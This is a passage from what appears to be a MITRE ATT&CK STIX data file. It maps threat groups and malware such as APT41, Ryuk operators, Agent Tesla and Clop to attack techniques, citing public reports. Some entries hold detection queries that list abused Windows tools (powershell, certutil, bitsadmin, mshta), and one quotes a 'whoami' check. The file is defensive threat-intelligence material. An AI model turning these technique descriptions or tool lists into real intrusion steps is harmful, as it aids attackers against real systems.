2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-19T19:56:10.635Z","description":"[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fce88056-31db-43be-be76-fb1aaf076ed1","created":"2021-08-26T14:36:18.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.872Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has created services to appear as benign system tools.(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcee0cef-7d5b-49da-928c-2a3d0cfd06b0","created":"2020-11-10T18:04:03.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Sophos New Ryuk Attack October 2020","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"},{"source_name":"DFIR Ryuk in 5 Hours October 2020","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.669Z","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: DFIR Ryuk in 5 Hours October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fcf2c47e-f487-450e-9bd9-be54110b9e32","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Forum Scheduled Task Operational Setting","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-11T14:06:22.516Z","description":"Monitor for newly constructed scheduled jobs by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including Event ID 106 on Windows 7 and Server 2008 R2 for scheduled task registration. For Windows 10 and Server 2016, the relevant events are also logged in the Windows Security event channel after enabling the auditing of other object access events. These include:\n\n- Event ID 4698: A scheduled task was created.\n- Event ID 4699: A scheduled task was deleted.\n- Event ID 4700: A scheduled task was enabled.\n- Event ID 4701: A scheduled task was disabled.\n- Event ID 4702: A scheduled task was updated.\n\nNote: Detection of the creation or modification of Scheduled Tasks with a suspicious script, extension or user writable path. Attackers may create or modify Scheduled Tasks for the persistent execution of malicious code. This detection focuses at the same time on EventIDs 4688 and 1 with process creation (SCHTASKS) and EventID 4698, 4702 for Scheduled Task creation/modification event log.\n\nAnalytic 1 - New schedule tasks whose content includes suspicious scripts, extensions or user writable path\n\n (source=\"*WinEventLog:Security\" EventCode IN (4698, 4702, 4699, 4700, 4701)) | where\n(JobContent LIKE '%.cmd%' OR JobContent LIKE '%.ps1%' OR\n JobContent LIKE '%.vbs%' OR JobContent LIKE '%.py%' OR\n JobContent LIKE '%.js%' OR JobContent LIKE '%.exe%' OR\n JobContent LIKE '%.bat%' OR JobContent LIKE '%javascript%' OR\n JobContent LIKE '%powershell%' OR JobContent LIKE '%wmic%' OR\n JobContent LIKE '%rundll32%' OR JobContent LIKE '%cmd%' OR\n JobContent LIKE '%cscript%' OR JobContent LIKE '%wscript%' OR\n JobContent LIKE '%regsvr32%' OR JobContent LIKE '%mshta%' OR\n JobContent LIKE '%bitsadmin%' OR JobContent LIKE '%certutil%' OR\n JobContent LIKE '%msiexec%' OR JobContent LIKE '%javaw%' OR\n JobContent LIKE '%[%]APPDATA[%]%' OR JobContent LIKE '%\\\\AppData\\\\Roaming%' OR\n JobContent LIKE '%[%]PUBLIC[%]%' OR JobContent LIKE '%C:\\\\Users\\\\Public%' OR\n JobContent LIKE '%[%]ProgramData[%]%' OR JobContent LIKE '%C:\\\\ProgramData%' OR\n JobContent LIKE '%[%]TEMP[%]%' OR JobContent LIKE '%\\\\AppData\\\\Local\\\\Temp%' OR\n JobContent LIKE '%\\\\Windows\\\\PLA\\\\System%' OR JobContent LIKE '%\\\\tasks%' OR\n JobContent LIKE '%\\\\Registration\\\\CRMLog%' OR JobContent LIKE '%\\\\FxsTmp%' OR\n JobContent LIKE '%\\\\spool\\\\drivers\\\\color%' OR JobContent LIKE '%\\\\tracing%')\n","relationship_type":"detects","source_ref":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcfa67b5-03dc-4d92-bc34-0f483d48bc6a","type":"relationship","created":"2020-01-31T12:39:19.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:39:19.056Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcfb3ce0-01a0-4f92-8e18-b323202d095d","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.574Z","description":"An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command \"cmd.exe\" /C whoami to verify that it is running with the elevated privileges of “System.”(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcfb5392-d5d3-451d-be1f-3cdb5ee264d8","type":"relationship","created":"2021-02-17T20:27:27.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T18:53:16.760Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) can enable SeDebugPrivilege and adjust token privileges.(Citation: IBM MegaCortex)","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcfe071b-e527-44e9-9970-9243a354f563","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.389Z","description":"[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd074370-f9d4-43a1-bf1f-0afdb46ab28b","type":"relationship","created":"2019-04-23T16:12:37.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.025Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can use Get-PassPol to enumerate the domain password policy.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd094102-e496-4dcf-bbf1-1630a762019d","created":"2024-02-12T20:09:11.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T16:28:21.873Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) can masquerade as pirated media content for initial delivery to victims.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd0c41df-35a7-4593-996c-0f9bdd6f4749","created":"2023-10-03T14:34:26.650Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T14:34:26.650Z","description":"The [Uroburos](https://attack.mitre.org/software/S0022) Queue file contains embedded executable files along with key material, communication channels, and modes of operation.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd119308-f4b9-4d06-adf2-08a76baee7d9","type":"relationship","created":"2020-05-18T19:04:38.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:46:02.257Z","description":"(Citation: Reaqta MuddyWater November 2017)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd135724-b4b3-470a-95c6-43191f99dcb6","created":"2023-09-06T15:55:04.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.647Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used the [Ping](https://attack.mitre.org/software/S0097) command to check connectivity to actor-controlled C2 servers.(Citation: Bitdefender Sardonic Aug 2021) ","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd1836cc-0329-4501-812a-676dd234679e","type":"relationship","created":"2021-07-30T21:03:09.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-07-30T21:03:09.024Z","description":"[Clop](https://attack.mitre.org/software/S0611) can use msiexec.exe to disable security tools on the system.(Citation: Cybereason Clop Dec 2020) ","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd1e07f7-2ec2-4af3-a90c-17d142bd8fa8","type":"relationship","created":"2022-02-08T16:02:12.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"modified":"2022-02-08T16:02:12.569Z","description":"[TrailBlazer](https://attack.mitre.org/software/S0682) has the ability to use WMI for persistence.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"malware--bdad6f3b-de88-42fa-9295-d29b5271808e","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd1e3a4f-1d0c-453b-970c-5af837aac258","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:44:18.770Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials that may search compromised systems to find and obtain insecurely stored credentials.\n\nAnalytic 1 - Failed or unusual logon attempts using compromised credentials.\n\n(index=security sourcetype=\"WinEventLog:Security\" EventCode IN (4625, 4648)) OR\n(index=os sourcetype=\"linux_secure\" message=\"Failed password\" OR message=\"Invalid user\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"authentication_failure\" OR message=\"Failed to authenticate user\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd2f1a44-2ae7-4df0-b53c-42bc96af2da1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}],"modified":"2019-10-15T22:51:03.068Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) deobfuscates its strings and APIs once its executed.(Citation: US-CERT Volgmer 2 Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd31c763-8e36-4f6f-9238-fed081b524b3","type":"relationship","created":"2020-02-11T18:24:04.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:24:04.818Z","relationship_type":"revoked-by","source_ref":"attack-pattern--51dea151-0898-4a45-967c-3ebee0420484","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd348c91-a296-4bd0-b31c-894141a2827c","created":"2023-09-08T15:49:07.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Agent Tesla April 2020","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020.","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-11T20:13:55.330Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can collect names and passwords of all Wi-Fi networks to which a device has previously connected.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd37b358-d005-4662-a200-771f89d491f4","created":"2020-06-02T15:39:14.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 CARROTBAT November 2018","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:46:54.774Z","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to download a base64 encoded payload.(Citation: Unit 42 CARROTBAT November 2018)","relationship_type":"uses","source_ref":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd385a66-84ba-4bd5-8ab2-afd7c7699e57","created":"2024-08-27T20:59:59.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T21:10:39.648Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) relied on the Java Instrumentation API and Javassist to dynamically modify Java code existing in memory.(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd38c0fc-72d8-4638-b6e7-1f6c5964ab5c","type":"relationship","created":"2020-01-23T18:30:11.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:38:36.361Z","description":"CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd3ba994-75a3-4b1e-bfea-8e36b9a07015","type":"relationship","created":"2020-03-02T14:30:49.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T14:30:49.811Z","relationship_type":"revoked-by","source_ref":"attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd3d6028-8ccd-44ea-8ada-a0f85aa78495","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor executed commands and arguments for binaries that could be involved in data destruction activity, such as SDelete.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--fd3fde9b-3e7b-4e74-baff-94dc573c8366","created":"2022-09-26T21:32:44.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Op Sharpshooter March 2019","description":"I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.","url":"https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:44:07.801Z","description":"For [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors used the ExpressVPN service to hide their location.(Citation: Bleeping Computer Op Sharpshooter March 